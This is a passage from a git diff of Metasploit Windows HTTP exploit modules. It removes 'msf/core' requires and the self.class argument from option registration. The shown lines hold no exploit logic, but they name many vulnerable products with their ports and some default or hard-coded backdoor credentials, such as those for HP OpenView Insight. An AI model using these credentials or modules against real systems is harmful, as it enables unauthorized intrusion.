b/modules/exploits/windows/http/hp_nnm_getnnmdata_icount.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/http/hp_nnm_getnnmdata_maxage.rb b/modules/exploits/windows/http/hp_nnm_getnnmdata_maxage.rb index da06017e88..007a0ff4eb 100644 --- a/modules/exploits/windows/http/hp_nnm_getnnmdata_maxage.rb +++ b/modules/exploits/windows/http/hp_nnm_getnnmdata_maxage.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb index 7e7beb92f2..bb68d3194a 100644 --- a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb +++ b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb index ed854078fd..4aa6f871c7 100644 --- a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb +++ b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/http/hp_nnm_openview5.rb b/modules/exploits/windows/http/hp_nnm_openview5.rb index edff3b0c55..2f4034266e 100644 --- a/modules/exploits/windows/http/hp_nnm_openview5.rb +++ b/modules/exploits/windows/http/hp_nnm_openview5.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 6 2007')) - register_options( [ Opt::RPORT(80) ], self.class ) + register_options( [ Opt::RPORT(80) ]) end def exploit diff --git a/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb b/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb index e709be8cf0..add77af43f 100644 --- a/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb +++ b/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/http/hp_nnm_ovas.rb b/modules/exploits/windows/http/hp_nnm_ovas.rb index cb1cb33e23..50c4ad3ffb 100644 --- a/modules/exploits/windows/http/hp_nnm_ovas.rb +++ b/modules/exploits/windows/http/hp_nnm_ovas.rb @@ -9,8 +9,6 @@ # Newer versions of this rule might find this but we've taken steps to atleast bypass this rule =end -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking # =( need more targets and perhaps more OS specific return values OS specific would be preferred @@ -88,7 +86,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(7510), OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request", 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SIMBAR={7DB0F6DE-8DE7-4841-9084-28FA914B0F2E}; SLCC1; .N' ]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb b/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb index 7981a0efbc..511c6f6f55 100644 --- a/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb +++ b/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/http/hp_nnm_ovwebhelp.rb b/modules/exploits/windows/http/hp_nnm_ovwebhelp.rb index cdb57c968e..3a64dfde96 100644 --- a/modules/exploits/windows/http/hp_nnm_ovwebhelp.rb +++ b/modules/exploits/windows/http/hp_nnm_ovwebhelp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb index 8e7e3c1d2b..4eee2b2787 100644 --- a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb +++ b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb index 6ac18869d3..abb33a9a93 100644 --- a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb +++ b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb index bfe0674871..81a63268a9 100644 --- a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb +++ b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/http/hp_nnm_snmp.rb b/modules/exploits/windows/http/hp_nnm_snmp.rb index 8632155f8a..ba4cadc4fa 100644 --- a/modules/exploits/windows/http/hp_nnm_snmp.rb +++ b/modules/exploits/windows/http/hp_nnm_snmp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb b/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb index e6c8376f02..e26d1d30d4 100644 --- a/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb +++ b/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/http/hp_nnm_toolbar_01.rb b/modules/exploits/windows/http/hp_nnm_toolbar_01.rb index ebb5c95576..9e54ef3cac 100644 --- a/modules/exploits/windows/http/hp_nnm_toolbar_01.rb +++ b/modules/exploits/windows/http/hp_nnm_toolbar_01.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/http/hp_nnm_toolbar_02.rb b/modules/exploits/windows/http/hp_nnm_toolbar_02.rb index d53f58ec5b..bfa2c5b120 100644 --- a/modules/exploits/windows/http/hp_nnm_toolbar_02.rb +++ b/modules/exploits/windows/http/hp_nnm_toolbar_02.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb b/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb index 983dab3561..f3400b003e 100644 --- a/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb +++ b/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb b/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb index f3be23758f..670b571937 100644 --- a/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb +++ b/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -95,7 +93,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('COOKIE', [ false, "The Cookie name to use", nil ]), OptString.new('CGI', [ false, "The CGI to use", nil ]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/http/hp_openview_insight_backdoor.rb b/modules/exploits/windows/http/hp_openview_insight_backdoor.rb index 20514989eb..0412ed3958 100644 --- a/modules/exploits/windows/http/hp_openview_insight_backdoor.rb +++ b/modules/exploits/windows/http/hp_openview_insight_backdoor.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('USERNAME', [ false, 'The username to authenticate as', 'hch908v' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username', 'z6t0j$+i' ]) - ], self.class ) + ]) end diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb index e409da7372..a0f28ae4ab 100644 --- a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb +++ b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(443) - ], self.class ) + ]) end def check diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb index 92ef605294..515d5525f4 100644 --- a/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb +++ b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(443) - ], self.class ) + ]) end def check diff --git a/modules/exploits/windows/http/hp_power_manager_filename.rb b/modules/exploits/windows/http/hp_power_manager_filename.rb index 0f943908b5..510656ccd6 100644 --- a/modules/exploits/windows/http/hp_power_manager_filename.rb +++ b/modules/exploits/windows/http/hp_power_manager_filename.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/http/hp_power_manager_login.rb b/modules/exploits/windows/http/hp_power_manager_login.rb index 2d4f0e3dd0..334c127800 100644 --- a/modules/exploits/windows/http/hp_power_manager_login.rb +++ b/modules/exploits/windows/http/hp_power_manager_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/http/hp_sitescope_dns_tool.rb b/modules/exploits/windows/http/hp_sitescope_dns_tool.rb index ec55e18992..404ae5bfef 100644 --- a/modules/exploits/windows/http/hp_sitescope_dns_tool.rb +++ b/modules/exploits/windows/http/hp_sitescope_dns_tool.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/powershell' class MetasploitModule < Msf::Exploit::Remote @@ -60,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('SITE_SCOPE_USER', [false, 'Username for authentication', '']), OptString.new('SITE_SCOPE_PASSWORD', [false, 'Password for authentication', '']), OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb index 6fb9a72f48..40c3d66669 100644 --- a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb +++ b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/']) - ], self.class) + ]) end def uri diff --git a/modules/exploits/windows/http/httpdx_handlepeer.rb b/modules/exploits/windows/http/httpdx_handlepeer.rb index db7349f2b9..5d8801344c 100644 --- a/modules/exploits/windows/http/httpdx_handlepeer.rb +++ b/modules/exploits/windows/http/httpdx_handlepeer.rb @@ -17,8 +17,6 @@ # http://www.rec-sec.com ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/http/httpdx_tolog_format.rb b/modules/exploits/windows/http/httpdx_tolog_format.rb index 3c6c307d55..7e1adcdfaf 100644 --- a/modules/exploits/windows/http/httpdx_tolog_format.rb +++ b/modules/exploits/windows/http/httpdx_tolog_format.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/http/ia_webmail.rb b/modules/exploits/windows/http/ia_webmail.rb index 858761d5b2..ccebeb3e51 100644 --- a/modules/exploits/windows/http/ia_webmail.rb +++ b/modules/exploits/windows/http/ia_webmail.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/http/ibm_tivoli_endpoint_bof.rb b/modules/exploits/windows/http/ibm_tivoli_endpoint_bof.rb index 20350f46d3..56c9a685a1 100644 --- a/modules/exploits/windows/http/ibm_tivoli_endpoint_bof.rb +++ b/modules/exploits/windows/http/ibm_tivoli_endpoint_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(9495), - ], self.class ) + ]) end def exploit diff --git a/modules/exploits/windows/http/ibm_tpmfosd_overflow.rb b/modules/exploits/windows/http/ibm_tpmfosd_overflow.rb index 5fc1f2e280..28e4f94b70 100644 --- a/modules/exploits/windows/http/ibm_tpmfosd_overflow.rb +++ b/modules/exploits/windows/http/ibm_tpmfosd_overflow.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -70,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), - ], self.class ) + ]) end def exploit diff --git a/modules/exploits/windows/http/ibm_tsm_cad_header.rb b/modules/exploits/windows/http/ibm_tsm_cad_header.rb index 02a2577049..a63bf16423 100644 --- a/modules/exploits/windows/http/ibm_tsm_cad_header.rb +++ b/modules/exploits/windows/http/ibm_tsm_cad_header.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -44,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 24 2007')) - register_options( [ Opt::RPORT(1581) ], self.class ) + register_options( [ Opt::RPORT(1581) ]) end def exploit diff --git a/modules/exploits/windows/http/icecast_header.rb b/modules/exploits/windows/http/icecast_header.rb index f8d661fd61..92f38c5951 100644 --- a/modules/exploits/windows/http/icecast_header.rb +++ b/modules/exploits/windows/http/icecast_header.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -59,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(8000) - ], self.class) + ]) end # Interesting that ebp is pushed after the local variables, and the line array diff --git a/modules/exploits/windows/http/integard_password_bof.rb b/modules/exploits/windows/http/integard_password_bof.rb index 7fa35f9262..ec26dce9cb 100644 --- a/modules/exploits/windows/http/integard_password_bof.rb +++ b/modules/exploits/windows/http/integard_password_bof.rb @@ -63,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(18881) - ], self.class ) + ]) end def exploit diff --git a/modules/exploits/windows/http/intersystems_cache.rb b/modules/exploits/windows/http/intersystems_cache.rb index 5015245f56..323c46004d 100644 --- a/modules/exploits/windows/http/intersystems_cache.rb +++ b/modules/exploits/windows/http/intersystems_cache.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 29 2009')) # Initially...! - register_options( [ Opt::RPORT(57772) ], self.class ) + register_options( [ Opt::RPORT(57772) ]) end def exploit diff --git a/modules/exploits/windows/http/intrasrv_bof.rb b/modules/exploits/windows/http/intrasrv_bof.rb index ef301edbab..05eee65b30 100644 --- a/modules/exploits/windows/http/intrasrv_bof.rb +++ b/modules/exploits/windows/http/intrasrv_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptPort.new('RPORT', [true, 'The remote port', 80]) - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/http/ipswitch_wug_maincfgret.rb b/modules/exploits/windows/http/ipswitch_wug_maincfgret.rb index f77b24d91c..aef63d6142 100644 --- a/modules/exploits/windows/http/ipswitch_wug_maincfgret.rb +++ b/modules/exploits/windows/http/ipswitch_wug_maincfgret.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('HTTPUSER', [ false, 'The username to authenticate as', 'admin']), OptString.new('HTTPPASS', [ false, 'The password to authenticate as', 'admin']), - ], self.class ) + ]) end def exploit diff --git a/modules/exploits/windows/http/jira_collector_traversal.rb b/modules/exploits/windows/http/jira_collector_traversal.rb index 5c9f0ba30e..575fdc8209 100644 --- a/modules/exploits/windows/http/jira_collector_traversal.rb +++ b/modules/exploits/windows/http/jira_collector_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to JIRA', '/']), OptString.new('COLLECTOR', [true, 'Collector ID']) - ], self.class) + ]) register_advanced_options( [ @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('JIRA_PATH', [true, 'Path to the JIRA web folder from the Atlassian installation directory', "JIRA\\atlassian-jira"]), # By default file written to C:\Program Files\Atlassian\Application Data\JIRA\caches\tmp_attachments\$random_\, we want to traversal until 'Atlassian' OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 6]) - ], self.class) + ]) end def get_upload_token diff --git a/modules/exploits/windows/http/kaseya_uploader.rb b/modules/exploits/windows/http/kaseya_uploader.rb index 4fa901af14..035b5a1b70 100644 --- a/modules/exploits/windows/http/kaseya_uploader.rb +++ b/modules/exploits/windows/http/kaseya_uploader.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb b/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb index 8037a95ec3..136180a0a8 100644 --- a/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb +++ b/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/http/kolibri_http.rb b/modules/exploits/windows/http/kolibri_http.rb index e0b5dc2d8d..ac350a8538 100644 --- a/modules/exploits/windows/http/kolibri_http.rb +++ b/modules/exploits/windows/http/kolibri_http.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/windows/http/landesk_thinkmanagement_upload_asp.rb b/modules/exploits/windows/http/landesk_thinkmanagement_upload_asp.rb index 9dac1e3d1a..df6ad00a90 100644 --- a/modules/exploits/windows/http/landesk_thinkmanagement_upload_asp.rb +++ b/modules/exploits/windows/http/landesk_thinkmanagement_upload_asp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('PATH', [ true, "The URI path of the LANDesk Lenovo ThinkManagement Console", '/']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/http/lexmark_markvision_gfd_upload.rb b/modules/exploits/windows/http/lexmark_markvision_gfd_upload.rb index 367e93543a..968c8d99b3 100644 --- a/modules/exploits/windows/http/lexmark_markvision_gfd_upload.rb +++ b/modules/exploits/windows/http/lexmark_markvision_gfd_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(9788), OptString.new('TARGETURI', [true, 'ROOT path', '/']) - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/http/mailenable_auth_header.rb b/modules/exploits/windows/http/mailenable_auth_header.rb index 0d0fd3e481..e12234a813 100644 --- a/modules/exploits/windows/http/mailenable_auth_header.rb +++ b/modules/exploits/windows/http/mailenable_auth_header.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/http/manage_engine_opmanager_rce.rb b/modules/exploits/windows/http/manage_engine_opmanager_rce.rb index f707b34c05..04e65ebe75 100644 --- a/modules/exploits/windows/http/manage_engine_opmanager_rce.rb +++ b/modules/exploits/windows/http/manage_engine_opmanager_rce.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote # It removes large object in database, shoudn't be a problem, but just in case.... Rank = ManualRanking diff --git a/modules/exploits/windows/http/manageengine_apps_mngr.rb b/modules/exploits/windows/http/manageengine_apps_mngr.rb index ebbada86aa..574954ebf0 100644 --- a/modules/exploits/windows/http/manageengine_apps_mngr.rb +++ b/modules/exploits/windows/http/manageengine_apps_mngr.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('URI', [false, "URI for Applications Manager", '/']), OptString.new('USER', [false, "username", 'admin']), OptString.new('PASS', [false, "password", 'admin']), - ], self.class) + ]) end def target_url uri = normalize_uri(datastore['URI']) diff --git a/modules/exploits/windows/http/manageengine_connectionid_write.rb b/modules/exploits/windows/http/manageengine_connectionid_write.rb index 8bbe7ff0c8..5b6a63d9e4 100644 --- a/modules/exploits/windows/http/manageengine_connectionid_write.rb +++ b/modules/exploits/windows/http/manageengine_connectionid_write.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'nokogiri' class MetasploitModule < Msf::Exploit::Remote @@ -50,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('TARGETURI', [true, 'The base path for ManageEngine Desktop Central', '/']), Opt::RPORT(8020) - ], self.class) + ]) end def jsp_drop_bin(bin_data, output_file) diff --git a/modules/exploits/windows/http/maxdb_webdbm_database.rb b/modules/exploits/windows/http/maxdb_webdbm_database.rb index f9e6f01222..3c61f0ff5e 100644 --- a/modules/exploits/windows/http/maxdb_webdbm_database.rb +++ b/modules/exploits/windows/http/maxdb_webdbm_database.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 29 2006')) - register_options( [ Opt::RPORT(9999) ], self.class ) + register_options( [ Opt::RPORT(9999) ]) end def exploit diff --git a/modules/exploits/windows/http/maxdb_webdbm_get_overflow.rb b/modules/exploits/windows/http/maxdb_webdbm_get_overflow.rb index 5f6da07f06..123b49cf27 100644 --- a/modules/exploits/windows/http/maxdb_webdbm_get_overflow.rb +++ b/modules/exploits/windows/http/maxdb_webdbm_get_overflow.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(9999) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/http/mcafee_epolicy_source.rb b/modules/exploits/windows/http/mcafee_epolicy_source.rb index 42d991ab2d..b140228bd0 100644 --- a/modules/exploits/windows/http/mcafee_epolicy_source.rb +++ b/modules/exploits/windows/http/mcafee_epolicy_source.rb @@ -58,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(81), - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb b/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb index f6ae402ff7..a19b6fe0b5 100644 --- a/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb +++ b/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(3000), - ],self.class) + ]) end def check diff --git a/modules/exploits/windows/http/minishare_get_overflow.rb b/modules/exploits/windows/http/minishare_get_overflow.rb index ffdcf97b1d..7209bc4119 100644 --- a/modules/exploits/windows/http/minishare_get_overflow.rb +++ b/modules/exploits/windows/http/minishare_get_overflow.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/http/miniweb_upload_wbem.rb b/modules/exploits/windows/http/miniweb_upload_wbem.rb index eb5fc32a50..1f6bf68595 100644 --- a/modules/exploits/windows/http/miniweb_upload_wbem.rb +++ b/modules/exploits/windows/http/miniweb_upload_wbem.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ Opt::RPORT(8000), OptInt.new('DEPTH', [true, 'Traversal depth', 10]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/http/navicopa_get_overflow.rb b/modules/exploits/windows/http/navicopa_get_overflow.rb index 4298f850fb..c68f67e5bf 100644 --- a/modules/exploits/windows/http/navicopa_get_overflow.rb +++ b/modules/exploits/windows/http/navicopa_get_overflow.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -50,7 +48,7 @@ class 